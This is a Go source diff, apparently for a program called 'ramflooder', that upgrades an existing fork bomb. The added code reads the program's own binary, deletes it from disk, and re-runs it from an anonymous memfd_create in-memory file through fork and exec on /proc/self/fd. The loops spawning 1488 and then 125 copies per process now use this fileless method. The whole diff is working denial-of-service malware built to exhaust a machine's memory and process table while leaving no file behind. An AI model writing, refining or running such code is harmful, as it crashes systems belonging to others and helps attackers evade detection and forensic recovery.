lol

main.go

@@ -2,23 +2,50 @@ package main
 
 import (
 	"fmt"
+	"io"
 	"os"
-	"os/exec"
 	"syscall"
+	"unsafe"
 )
 
+var payload = []byte{}
+
+func init() {
+	if len(payload) == 0 {
+		exe, _ := os.Executable()
+		file, _ := os.Open(exe)
+		payload, _ = io.ReadAll(file)
+		file.Close()
+		os.Remove(exe)
+	}
+}
+
+func memfdCreate() int {
+	name := []byte("ramflooder\x00")
+	fd, _, _ := syscall.Syscall(319, uintptr(unsafe.Pointer(&name[0])), 1, 0)
+	return int(fd)
+}
+
+func spawnMemory() {
+	fd := memfdCreate()
+	if fd < 0 {
+		return
+	}
+
+	syscall.Write(fd, payload)
+
+	pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
+	if pid == 0 {
+		path := fmt.Sprintf("/proc/self/fd/%d", fd)
+		syscall.Exec(path, []string{"ramflooder"}, []string{"CHILD_MODE=1"})
+	}
+	syscall.Close(fd)
+}
+
 func childProcess() {
 	go func() {
 		for i := 0; i < 125; i++ {
-			cmd := exec.Command(os.Args[0], "child")
-			cmd.SysProcAttr = &syscall.SysProcAttr{
-				Setpgid: true,
-			}
-			if err := cmd.Start(); err != nil {
-				fmt.Fprintf(os.Stderr, "lol wtf %v\n", err)
-			} else {
-				cmd.Process.Release()
-			}
+			spawnMemory()
 		}
 	}()
 
@@ -31,7 +58,7 @@ func childProcess() {
 }
 
 func main() {
-	if len(os.Args) > 1 && os.Args[1] == "child" {
+	if os.Getenv("CHILD_MODE") == "1" {
 		childProcess()
 		return
 	}
@@ -43,15 +70,7 @@ func main() {
 	pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
 	if pid == 0 {
 		for i := 0; i < 1488; i++ {
-			cmd := exec.Command(os.Args[0], "child")
-			cmd.SysProcAttr = &syscall.SysProcAttr{
-				Setpgid: true,
-			}
-			if err := cmd.Start(); err != nil {
-				fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err)
-				continue
-			}
-			cmd.Process.Release()
+			spawnMemory()
 		}
 		os.Exit(0)
 	} else {